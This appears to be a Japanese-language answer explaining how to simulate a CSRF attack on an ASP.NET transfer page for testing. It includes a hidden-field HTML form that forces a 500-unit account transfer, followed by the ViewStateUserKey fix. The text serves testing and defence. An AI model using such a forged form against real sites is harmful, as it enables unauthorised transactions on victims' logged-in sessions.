CSRF をシミュレートするには、Cookie またはセッション情報を悪意のあるコードに含めません。CSRF の要点は、実行するコードがセッションや Cookie 情報を知らないということです。ブラウザがアプリケーションへのリクエストにそれを含めることを前提としています。
したがって、テストのために、POST メソッドと txtFrom、txtTo、および txtAmount のパラメーターを受け入れるページ Transfer.aspx があり、ボタン btnSubmit があり、アカウント 1 からアカウント 2 に転送しようとしていると仮定します。悪意のあるコードは、次のようになります。
<form action="http://www.mysite.com/Transfer.aspx" method="post">
<input type="hidden" name="txtFrom" value="1" />
<input type="hidden" name="txtTo" value="2" />
<input type="hidden" name="txtAmount" value="500" />
<input type="hidden" name="__VIEWSTATE" value="[PUT VIEWSTATE VALUE HERE]" />
<input type="hidden" name="__EVENTVALIDATION" value="[PUT EVENTVALIDATION VALUE HERE]" />
<input type="submit" name="btnSubmit" value="Go" />
</form>
viewstate と eventvalidation の値がどうなるかを事前に知っておく必要があるため、適切にログインしたときにページからそれをコピーする必要があります。これは、ユーザーやセッションに関係なく、ビューステートが一定であることを前提としています。
これで、悪意のあるページが作成されました。あるタブでログインしている場合は、別のタブでこれを開いて送信してください。脆弱な場合は、転送が行われます。その理由は、mysite.com に属する Cookie が送信されるためです。これは、別のタブで有効なセッションが使用されることを意味します。
これを修正するには、セッションごとに固有の値を投稿に含める必要があります。これは、ViewStateUserKey を使用して、ASP.NET セッション ID またはそのハッシュに設定することで最も簡単に実現できます。これにより、すべてのセッションで __VIEWSTATE 値が一意になります。つまり、__VIEWSTATE 値がどうなるか誰も予測できないため、脆弱ではなくなります。